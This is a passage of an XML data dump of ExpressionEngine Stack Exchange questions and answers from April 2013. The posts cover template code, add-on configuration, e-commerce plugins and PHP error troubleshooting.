well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['third_party_path'] = $base_path . &quot;/client_ee/add-ons/system/third_party&quot;;&#xA;echo $config['third_party_path']; exit;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="293" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-04-03T12:46:50.693" Title="Assets 2 on MSM: Tags have no output on second site" Tags="|templates|multi-site-manager|focus-lab-master-config|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8943" PostTypeId="2" ParentId="8942" CreationDate="2013-04-03T12:46:50.693" Score="1" Body="&lt;p&gt;After checking the first Control Panel and seeing that my Assets files did not display with those changes, I made the following changes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['assets_site_url'] = '/index.php';&#xA;&#xA;$config['assets_cp_path'] = dirname(__FILE__).'/../../../public/admin/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm now able to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;See my Assets files in Site1's CP.&lt;/li&gt;&#xA;&lt;li&gt;See my Assets files output from the Assets tags in Site2.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm still unable to see my Assets files in the CP under Site2, but that's not a concern to me. The client will only work with the CP under 1 URL.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-04-03T12:46:50.693" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8944" PostTypeId="2" ParentId="8936" CreationDate="2013-04-03T13:48:21.560" Score="1" Body="&lt;p&gt;This is possible, but limiting the output to just the last 6 photos is going to require some PHP in your template. So first go into your template’s preferences and enable PHP on Output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here’s the template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;pages&quot; ... }&#xA;&#xA;    {!-- start the counter --}&#xA;    &amp;lt;?php $count = 0; ?&amp;gt;&#xA;&#xA;    {!-- find the blog entries relating to this profile page --}&#xA;    {exp:playa:parents channel=&quot;blog&quot;&#xA;                       field=&quot;blog_smile&quot;&#xA;                       col=&quot;blog_smile_ortho&quot;&#xA;                       orderby=&quot;date&quot; sort=&quot;desc&quot;&#xA;                       var_prefix=&quot;blogpost&quot;}&#xA;&#xA;        {!-- find the Matrix rows relating to this profile page --}&#xA;        {blogpost:blog_smile search:blog_smile_ortho=&quot;[{entry_id}]&quot;}&#xA;&#xA;            {!-- loop through the Assets images --}&#xA;            {blogpost:blog_smile_image}&#xA;&#xA;                {!-- increase the counter --}&#xA;                &amp;lt;?php $count++ ?&amp;gt;&#xA;&#xA;                {!-- only show this image if it’s within the first 6 --}&#xA;                &amp;lt;?php if ($count &amp;lt;= 6): ?&amp;gt;&#xA;                    &amp;lt;img src=&quot;{blogpost:url}&quot; width=&quot;{blogpost:width}&quot; height=&quot;{blogpost:height}&quot;&amp;gt;&#xA;                &amp;lt;?php endif ?&amp;gt;&#xA;&#xA;            {/blogpost:blog_smile_image}&#xA;&#xA;        {/blogpost:blog_smile}&#xA;&#xA;    {/exp:playa:parents}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-04-03T13:48:21.560" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8945" PostTypeId="1" AcceptedAnswerId="9105" CreationDate="2013-04-03T14:13:02.003" Score="2" ViewCount="226" Body="&lt;p&gt;I'm trying to send and email from a custom add-on using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/email.html&quot; rel=&quot;nofollow&quot;&gt;Email Class&lt;/a&gt; and having no luck at all. I'm not totally sure how to debug this, as I've not got any server errors or anything like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I'm using as per the Docs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('email');&#xA;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;helper('text');&#xA;&#xA;$this-&amp;gt;EE-&amp;gt;email-&amp;gt;initialize();&#xA;$this-&amp;gt;EE-&amp;gt;email-&amp;gt;wordwrap = true;&#xA;$this-&amp;gt;EE-&amp;gt;email-&amp;gt;mailtype = 'text';&#xA;$this-&amp;gt;EE-&amp;gt;email-&amp;gt;from($this-&amp;gt;from_address);&#xA;$this-&amp;gt;EE-&amp;gt;email-&amp;gt;to($receipient);&#xA;$this-&amp;gt;EE-&amp;gt;email-&amp;gt;subject($subject);&#xA;$this-&amp;gt;EE-&amp;gt;email-&amp;gt;message(entities_to_ascii($email_msg));&#xA;$this-&amp;gt;EE-&amp;gt;email-&amp;gt;Send();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Are there any special requirements with regard to permissions I should be adding? I've created a separate user in order to post to a specific channel and then send notification emails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working locally at the moment and I've tried sending an email from the CP and that worked out ok, so I guess my email config is all right. I was logged in as the admin though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help gratefully received.&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2013-04-08T08:34:38.330" Title="Send Email from custom Addon" Tags="|add-on-development|email|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8946" PostTypeId="2" ParentId="8945" CreationDate="2013-04-03T14:36:08.537" Score="2" Body="&lt;p&gt;I would suggest to print the message by debugging with the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $this-&amp;gt;EE-&amp;gt;email-&amp;gt;print_debugger();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use this line of the code below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;email-&amp;gt;send();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to see any server message.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-03T14:36:08.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8947" PostTypeId="2" ParentId="8932" CreationDate="2013-04-03T14:36:49.620" Score="1" Body="&lt;p&gt;I think this is a job for &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt;. We may leave the template with two channel:entries tags after all, but only because we're running out of time. This will be a ToDo if we run into performance issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, you should be able to store the entire record in Stash, and not need a second channel:entries at all.&lt;/p&gt;&#xA;" OwnerUserId="1126" LastEditorUserId="1126" LastEditDate="2013-04-03T14:46:02.570" LastActivityDate="2013-04-03T14:46:02.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8948" PostTypeId="2" ParentId="6955" CreationDate="2013-04-03T14:59:07.537" Score="1" Body="&lt;p&gt;You'd have to make an extension upon member registration. If you're using the native EE registration the hook would be &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/member_register/#member-member-register&quot; rel=&quot;nofollow&quot;&gt;member_member_register&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function member_member_register($data, $member_id)&#xA;{&#xA;  $this-&amp;gt;EE-&amp;gt;load-&amp;gt;add_package_path(PATH_THIRD.'cartthrob/');&#xA;  $this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('cartthrob_loader');&#xA;&#xA;  if ($order_id = $this-&amp;gt;EE-&amp;gt;cartthrob-&amp;gt;cart-&amp;gt;order('order_id'))&#xA;  {&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;update('channel_titles', array('author_id' =&amp;gt; $member_id), array('entry_id' =&amp;gt; $order_id));&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-04-03T14:59:07.537" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8949" PostTypeId="1" CreationDate="2013-04-03T15:00:07.430" Score="1" ViewCount="251" Body="&lt;p&gt;Can the bundle have a price that is different than the sum of the products' prices that make up the bundle?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:  If I have 12 tracks at $1 each.  Can the bundle product (the album that contains all 12 tracks) cost $10?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, do all products in the bundle have to exist and be purchasable on its own?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: If the bundle product (the album) has 14 tracks, I want 2 of those tracks to only be part of the bundle.  The other 12 tracks can be purchased on their own, but not those 2 &quot;bundle-only&quot; tracks.&lt;/p&gt;&#xA;" OwnerUserId="737" LastActivityDate="2013-04-03T16:25:43.173" Title="Bundle products with exp:resso store" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8950" PostTypeId="1" AcceptedAnswerId="8955" CreationDate="2013-04-03T15:09:29.300" Score="3" ViewCount="6715" Body="&lt;p&gt;I am running ExpressionEngine 2.5.2, was working on my site last night, tested everything, and all seemed to be running just fine. However, today when I try to navigate around the site, my pages are loading extremely slow. On a couple of the pages, I am receiving this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Maximum execution time of 90 seconds exceeded in /var/www/vhosts/cutandpaste.com/system167/codeigniter/system/core/Loader.php on line 846&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what is on line 846 in Loader.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Does the file exist?  No?  Bummer...&#xA;if ( ! file_exists($filepath))&#xA;{&#xA;   continue;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This error came up out-of-the-blue, and I have no idea where to start with fixing it.&lt;/p&gt;&#xA;" OwnerUserId="899" LastActivityDate="2013-04-04T02:09:32.390" Title="Fatal error: Maximum execution time of 90 seconds exceeded... codeigniter/system/core/Loader.php on line 846" Tags="|error|codeigniter|loading-time|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8952" PostTypeId="2" ParentId="8934" CreationDate="2013-04-03T16:07:15.880" Score="1" Body="&lt;p&gt;I got it to work by using an embedded template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker&#xA;    channel='mychannel'&#xA;    url_title='{segment_3}'&#xA;    return='site/success'&#xA;}&#xA;&#xA;    {!-- Safecracker Fields --}&#xA;&#xA;    {embed='site/entry_category' entry_id='{entry_id}'}&#xA;&#xA;    {!-- More Safecracker Fields --}&#xA;&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The embedded template (site/entry_category):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel='mychannel'&#xA;    entry_id='{embed:entry_id}'&#xA;    disable='member_data|pagination|custom_fields'&#xA;    limit='1'&#xA;}&#xA;    {categories backspace='2'}{category_name}, {/categories}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works because embedded templates are parsed after module tags (like Safecracker). So EE loops through the Safecracker tag and performs all the functions inside it, then, when it's done, it loads the embedded template and processes the tags inside &lt;em&gt;that&lt;/em&gt;. So the two don't interfere with each other and I get my entry's selected categories.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2013-04-03T17:23:29.703" LastActivityDate="2013-04-03T17:23:29.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8953" PostTypeId="1" CreationDate="2013-04-03T16:12:18.140" Score="1" ViewCount="82" Body="&lt;p&gt;I need help figuring out how to organize the following. Within my main EE site, there will be a SECTION. Within that, multiple YEARS. Within each YEAR, multiple LOCATIONS. Within each LOCATION, multiple articles or pages. My brain is going in circles. I'm planning one style of page for the SECTION index, while all other pages will have the same style or structure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should it be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template Group = SECTION &lt;br /&gt;&lt;br /&gt;&#xA;SECTION = index, location 1, location 2, location 3 (templates with channels specific to each location) and then categories assigned to each article for the year?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template Group = SECTION_YEAR&lt;br /&gt;&#xA;Template Group = SECTION_YEAR&lt;br /&gt;&#xA;Template Group = SECTION_YEAR&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then within each group: index, location 1, location 2, location 3, with one type of category to handle the content structure of each page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I intend to sort the menu into:&#xA;YEAR DROPDOWN Location 1 Location 2 Location 3, with each article per location showing up under its location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice appreciated.&lt;/p&gt;&#xA;" OwnerUserId="916" LastActivityDate="2013-04-03T16:12:18.140" Title="Template + Channel + Category structure" Tags="|channel|categories|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8954" PostTypeId="2" ParentId="8938" CreationDate="2013-04-03T16:12:24.323" Score="0" Body="&lt;p&gt;I got it working using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;editions&quot; dynamic=&quot;no&quot; limit=&quot;1&quot; show_future_entries=&quot;yes&quot; url_title=&quot;{freebie_2}&quot;}&#xA;&#xA;   {home_articles show_future_entries=&quot;yes&quot;}&#xA;     {title}&#xA;   {/home_articles}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The url structure is website.dev/edition/2013-04-01 (title of the edition)&lt;/p&gt;&#xA;" OwnerUserId="687" LastActivityDate="2013-04-03T16:12:24.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8955" PostTypeId="2" ParentId="8950" CreationDate="2013-04-03T16:16:01.090" Score="3" Body="&lt;p&gt;There is some processing going on somewhere in your system which is taking a long time and or is pretty intensive. What addons are you using and are you doing any large image/video processing at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That message is just saying that the process was timed out. You can try upping your execution times in your PHP config. Trying increasing &lt;code&gt;max_execution_time&lt;/code&gt; in your php.ini file to see if this helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing that on line 96 of system/codeigniter/system/core/codeigniter.php there is a timeout override which is set to 300 by default. You can also try increasing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could be beneficial to determine what exactly is taking the time to process however so I'd probably try disabling all addons first and testing again. It will just be a case of trial and error to try and find the culprit.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-03T16:16:01.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8956" PostTypeId="2" ParentId="8949" CreationDate="2013-04-03T16:25:43.173" Score="1" Body="&lt;p&gt;Store can certainly handle &lt;em&gt;bundled&lt;/em&gt; products but the one gotcha is that each &lt;code&gt;bundle&lt;/code&gt; will be a product in it's own right so Store (by default) will have no way of keeping track of individual item sales — tracks in this case. You can however easily set a different price for the bundle. Adrian and Justin have given &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1662/can-expresso-store-sell-bundles-of-products&quot;&gt;a good answer on a similar scenario here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Since products are stored as channel entries, it's really easy to&#xA;  create bundles of product using Playa, or even standard EE&#xA;  relationships.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Remember you can have multiple product channels. For example, with&#xA;  Tracks and Albums, you could create a channel for Tracks (which has a&#xA;  Store product fieldtype associated with it for individual track&#xA;  sales), and another channel for Albums (which also has a product&#xA;  fieldtype, and is related to the individual tracks.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In your case you could also create a product channels for Tickets,&#xA;  Merchandise, and if you want to create some bundles containing&#xA;  everything, one more called Bundles or something similar, which can be&#xA;  related to any other product channel. How you display this on the&#xA;  front end is entirely up to you.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The only downside to this is that it is not possible to keep track of&#xA;  stock levels for bundled products. If you are selling digital products&#xA;  this isn't an issue, and for physical products it really depends on&#xA;  your client's requirements.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="422" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-04-03T16:25:43.173" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8957" PostTypeId="2" ParentId="8774" CreationDate="2013-04-03T16:26:27.683" Score="2" Body="&lt;p&gt;Ian is exactly right. You can either edit the gateway directly, or you could create your own gateway class which extends the existing one and overwrites the VendorTxCode which is sent to Sage Pay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't something which I've heard of anyone doing before, normally the VendorTxCode is the same as Store's payment_id which makes them easy to match up should you need to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You shouldn't need to worry about refunds. Whatever you set the VendorTxCode to, Store will keep a record of that and sent it back to Sage Pay when necessary. Do a test to make sure, but I don't expect you will run into any issues here.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-04-03T16:26:27.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8958" PostTypeId="1" AcceptedAnswerId="9134" CreationDate="2013-04-03T16:39:37.823" Score="0" ViewCount="99" Body="&lt;p&gt;I am seeing this after upgrading Assets to 2.0.5 - it was working perfectly before - I know everyone says that. Environment is EE2.5.5 Store 1.6.3 My template:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;th&amp;gt;Order Hash&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th style=&quot;width:14%;&quot;&amp;gt;Order ID&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th style=&quot;width:14%;&quot;&amp;gt;Order Date&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th style=&quot;width:14%;&quot;&amp;gt;Items&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th style=&quot;width:14%;&quot;&amp;gt;Total&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th style=&quot;width:14%;&quot;&amp;gt;Status&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th style=&quot;width:14%;&quot;&amp;gt;Download&amp;lt;/th&amp;gt;&#xA;&#xA;&amp;lt;/tr&amp;gt;&#xA;{exp:store:orders member_id='CURRENT_USER' secure=&quot;yes&quot; order_by='order_date' sort='desc'}&#xA;&#xA;{if no_orders}&#xA;    &amp;lt;tr class=&quot;product_detail&quot;&amp;gt;&#xA;        &amp;lt;td colspan=&quot;4&quot;&amp;gt;Sorry, no matching orders were found.&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;{/if}&#xA;    &amp;lt;tr class=&quot;product_detail&quot;&amp;gt;&#xA;        &amp;lt;td&amp;gt;{order_hash}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td style=&quot;text-align: center;&quot;&amp;gt;&amp;lt;a class=&quot;onwhite&quot; href=&quot;{path='products/order/{order_hash}'}&quot;&amp;gt;{order_id}&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;{order_date format=&quot;%d/%m/%y %H:%m&quot;}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;{items}{title}&amp;lt;br /&amp;gt;{/items}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;{order_total}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;{order_status}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&#xA;            {exp:store:download order_id=&quot;{order_id}&quot; url=&quot;{software}&quot; class=&quot;onwhite&quot;}&#xA;                Download&#xA;            {/exp:store:download}&#xA;        &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;&#xA;{/exp:store:orders}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;  The file is visible in the EE file manager. This appears to be different from question 769 since it was working before, but stopped after upgrading Assets. Can anyone see what I am doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="114" LastActivityDate="2013-04-09T10:44:32.003" Title="Exp:resso Store Unable to locate file ID Since Upgrading Assets - I Think" Tags="|expresso-store|assets|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8959" PostTypeId="1" CreationDate="2013-04-03T16:41:13.660" Score="0" ViewCount="1904" Body="&lt;p&gt;Anyone have any ideas how to make this work?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my live &lt;a href=&quot;http://vibe9design.com/dev/map_test.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;test example&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My example demonstrates Google Maps (almost) in action within jQuery UI tabs. Notice that the maps don't fully initialize in each tab. I know there's &lt;a href=&quot;https://stackoverflow.com/questions/6344059/how-to-add-google-maps-in-two-tabs-of-jquery-application/7029514#7029514&quot;&gt;lots&lt;/a&gt; of &lt;a href=&quot;https://stackoverflow.com/questions/10067993/jquery-ui-tabs-and-google-maps-v3-resizemap&quot;&gt;questions&lt;/a&gt; and &lt;a href=&quot;https://stackoverflow.com/questions/1428178/problems-with-google-maps-api-v3-jquery-ui-tabs/3066751#3066751&quot;&gt;answers&lt;/a&gt; on &lt;a href=&quot;http://www.raymondcamden.com/index.cfm/2009/6/5/jQuery-Tabs-and-Google-Maps&quot; rel=&quot;nofollow noreferrer&quot;&gt;this issue&lt;/a&gt; out there, but none of them apply to the way Google Maps for EE does it's thing with Google Maps API v3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be forever and greatly appreciated :-)&lt;/p&gt;&#xA;" OwnerUserId="734" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-04-04T01:47:01.310" Title="How to make jquery UI Tabs + Google Maps for ExpressionEngine play nice together" Tags="|jquery|google-maps|google-maps-for-ee|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8961" PostTypeId="2" ParentId="8934" CreationDate="2013-04-03T16:48:35.527" Score="1" Body="&lt;p&gt;Have you tried something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;my_field_name&quot; id=&quot;categories&quot; &amp;gt;&#xA;    &amp;lt;option value=&quot;option_value&quot; {if my_field_name == &quot;option_value&quot;}selected=&quot;selected&quot;{/if}&amp;gt;option_name&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you break it out a little more then can through in conditional checking on each option value.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-03T16:48:35.527" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8962" PostTypeId="1" AcceptedAnswerId="9124" CreationDate="2013-04-03T16:54:29.443" Score="1" ViewCount="203" Body="&lt;p&gt;As stated in the title, I'm in the process of upgrading a site from EE1 to EE2, and I'm encountering errors on Wygwam's settings page. This is almost identical to &lt;a href=&quot;https://getsatisfaction.com/pixelandtonic/topics/upgrade_wygwam_from_ee1_to_ee2&quot; rel=&quot;nofollow&quot;&gt;the issue Lisa raised&lt;/a&gt;, with the exception of the line number in error #3 being different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Errors 1-3 are all above the CP menubar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: base64_decode() expects parameter 1 to be string, array given&#xA;Filename: wygwam/helper.php&#xA;Line Number: 40&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: array_merge(): Argument #2 is not an array&#xA;Filename: wygwam/helper.php&#xA;Line Number: 42&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: array_merge(): Argument #2 is not an array&#xA;Filename: wygwam/mcp.wygwam.php&#xA;Line Number: 302&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Errors 4-6 are immediately below the &quot;Wygwam&quot; heading (the one with the pencil graphic on the right-hand side), above the Preferences table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined variable: base&#xA;Filename: views/index.php&#xA;Line Number: 3&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined variable: license_key&#xA;Filename: views/index.php&#xA;Line Number: 11&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined variable: file_browser&#xA;Filename: views/index.php&#xA;Line Number: 28&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The EE 1.7.1 site had Wygwam 2.6.3. The upgraded EE 2.5.5 site has Wygwam 2.7.&lt;/p&gt;&#xA;" OwnerUserId="544" LastActivityDate="2013-04-09T00:54:40.663" Title="EE1 -&gt; EE2 Upgrade; Updated Wygwam settings page error" Tags="|wygwam|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8963" PostTypeId="1" CreationDate="2013-04-03T19:48:05.660" Score="1" ViewCount="94" Body="&lt;p&gt;I am planning a new site and the client would like to reward regular customers by giving the 'reward points' that can be redeemed at checkout. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible with credits? I am aware that DevDemon Credits can do this, just winging if CT can do it too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2013-04-03T21:47:21.300" Title="Can Cartthrob credits be used to reward customers?" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8964" PostTypeId="1" AcceptedAnswerId="8965" CreationDate="2013-04-03T20:14:11.097" Score="1" ViewCount="92" Body="&lt;p&gt;Is there some preference field or setting in the CP that might make the 'Show toolbar' link to disappear from the publish page? Mine has vanished for a particular custom member group (the only group that I'm using apart from Superadmins), although it shows up fine when I'm logged in as an SA. This made me think that it was something in the preference settings for that particular member group, but AFAICT nothing in that long settings list deals with the ability to customise publishing layouts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2013-04-03T21:43:50.757" Title="What setting could make the 'Show Toolbar' link disappear?" Tags="|members|publish-layout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8965" PostTypeId="2" ParentId="8964" CreationDate="2013-04-03T21:43:50.757" Score="2" Body="&lt;p&gt;this is by design. Only Super Admins can see the 'show toolbar' link on the publish page as this is mainly for administration. Generally you only want users to focus on the content and not the layout of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can however log in as Super Admin, make the changes to the publish page layout, save for the Member Group that the other user belongs to and then hit Save. &lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-03T21:43:50.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8966" PostTypeId="2" ParentId="8963" CreationDate="2013-04-03T21:47:21.300" Score="1" Body="&lt;p&gt;It is but you'd need to buy the separate &lt;a href=&quot;http://cartthrob.com/site/product_detail/credits&quot; rel=&quot;nofollow&quot;&gt;Cartthrob Credits module&lt;/a&gt; or use &lt;a href=&quot;http://www.devdemon.com/credits/&quot; rel=&quot;nofollow&quot;&gt;DevDemon Credits&lt;/a&gt;. Natively it's not supported unless you build your own module to handle that.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-03T21:47:21.300" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
